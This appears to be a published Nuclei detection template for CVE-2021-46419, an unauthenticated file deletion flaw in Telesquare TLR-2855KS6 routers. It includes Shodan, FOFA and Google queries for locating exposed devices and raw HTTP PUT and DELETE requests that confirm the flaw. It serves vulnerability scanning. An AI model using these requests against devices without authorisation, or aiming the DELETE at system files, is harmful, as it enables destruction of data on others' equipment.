Telesquare TLR-2855KS6 - Arbitrary File Deletion

ID: CVE-2021-46419

Severity: critical

Author: DhiyaneshDK

Tags: packetstorm,cve,cve2021,telesquare,intrusive

Description

An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.

YAML Source

id: CVE-2021-46419

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Deletion
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-46419
    - http://packetstormsecurity.com/files/166675/Telesquare-TLR-2855KS6-Arbitrary-File-Deletion.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46419
    epss-score: 0.36968
    epss-percentile: 0.97176
    cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6_firmware"
    shodan-query:
      - "title:\"Login to TLR-2855KS6\""
      - http.title:"login to tlr-2855ks6"
    fofa-query:
      - "product==\"TELESQUARE-TLR-2855KS6\""
      - title="login to tlr-2855ks6"
      - product=="telesquare-tlr-2855ks6"
    google-query: "intitle:\"login to tlr-2855ks6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

        {{randstr}}
      - |
        DELETE /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201 && status_code_2 == 204'
          - 'contains(server_1, "lighttpd")'
        condition: and
# digest: 4b0a00483046022100f7f07c8bd0dff28045d28415b75ea4246e755b1724a9b64a0b481bed44871cd20221009f5643cdf880b80941aa0f54953b785dd38e9f877c77a03d469977ad5670e6d6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-46419.yaml"

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